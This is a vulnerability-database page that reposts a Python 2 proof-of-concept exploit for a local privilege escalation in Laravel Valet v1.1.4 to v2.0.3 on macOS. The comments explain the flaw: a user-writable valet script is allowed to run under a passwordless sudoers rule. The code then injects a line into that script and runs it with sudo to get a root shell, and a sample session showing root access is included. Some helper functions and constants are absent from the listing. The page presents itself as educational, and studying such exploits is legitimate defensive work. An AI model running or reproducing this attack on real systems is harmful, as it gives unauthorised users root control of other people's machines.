Laravel valet 2.0.3 local privilege escalation (macos) Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2021-12-14 |
Type : local |
Platform : macos
This exploit / vulnerability Laravel valet 2.0.3 local privilege escalation (macos) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: Laravel Valet 2.0.3 - Local Privilege Escalation (macOS)
# Exploit Author: leonjza
# Vendor Homepage: https://laravel.com/docs/8.x/valet
# Version: v1.1.4 to v2.0.3
#!/usr/bin/env python2
# Laravel Valet v1.1.4 - 2.0.3 Local Privilege Escalation (macOS)
# February 2017 - @leonjza
# Affected versions: At least since ~v1.1.4 to v2.0.3. Yikes.
# Reintroduced in v2.0.7 via the 'trust' command again.
# This bug got introduced when the sudoers files got added around
# commit b22c60dacab55ffe2dc4585bc88cd58623ec1f40 [1].
# Effectively, when the valet command is installed, composer will symlink [2]
# the `valet` command to /usr/local/bin. This 'command' is writable by the user
# that installed it.
#
# ~ $ ls -lah $(which valet)
# lrwxr-xr-x 1 leonjza admin 51B Feb 25 00:09 /usr/local/bin/valet -> /Users/leonjza/.composer/vendor/laravel/valet/valet
# Running `valet install`, will start the install [3] routine. The very first action
# taken is to stop nginx (quietly?) [4], but runs the command with `sudo` which
# will prompt the user for the sudo password in the command line. From here (and in fact
# from any point where the valet tool uses sudo) the command can execute further commands
# as root without any further interaction needed by the user.
# With this 'sudo' access, the installer does it thing, and eventually installs two new
# sudoers rules for homebrew[5] and valet[6].
# The problem with the sudoers rules now is the fact that a user controlled script
# (rememeber the valet command is writable to my user?) is allowed to be run with
# root privileges. More conveniently, without a password. So, to trivially privesc
# using this flaw, simply edit the `valet` command and drop `/bin/bash` in there. :D
# Or, use this lame script you lazy sod.
#
# ~ $ sudo -k
# ~ $ python escalate.py
# * Shell written. Dropping into root shell
# bash-3.2# whoami
# root
# bash-3.2# exit
# exit
# * Cleaning up POC from valet command
def cleanup_poc_from_command(command_location):
with open(command_location, 'r') as vc:
command_contents = vc.readlines()
if command_contents[1] == POC:
print('* Cleaning up POC from valet command')
command_contents.pop(1)
with open(command_location, 'w') as vc:
vc.write(''.join(command_contents))
return
print('* Could not cleanup the valet command. Check it out manually!')
return
def main():
valet_command = get_valet()
if not valet_command:
print(' * The valet command could not be found. Bailing!')
return
# get the content so we can check if we already pwnd it
with open(valet_command, 'r') as vc:
command_contents = vc.readlines()
# check that we havent already popped this thing
if command_contents[1] == POC:
print('* Looks like you already pwnd this. Dropping into shell anyways.')
os.system('sudo ' + valet_command)
cleanup_poc_from_command(valet_command)
return
# ensure we have a valid, exploitable version
if not (version_tuple(current_version) >= version_tuple(MIN_VERSION)) \
or not (version_tuple(current_version) <= version_tuple(MAX_VERSION)):
print(' * Valet version {0} does not have this bug!'.format(current_version))
return
# check that we can write
if not can_write_to_valet(valet_command):
print('* Cant write to valet command at {0}. Bailing!'.format(valet_command))
return
# drop the poc line and write the new one
command_contents.insert(1, POC)
with open(valet_command, 'w') as vc:
vc.write(''.join(command_contents))
print('* Shell written. Dropping into root shell')
# drop in the root shell :D
os.system('sudo ' + valet_command)
cleanup_poc_from_command(valet_command)
if __name__ == '__main__':
main()
Laravel valet 2.0.3 local privilege escalation (macos)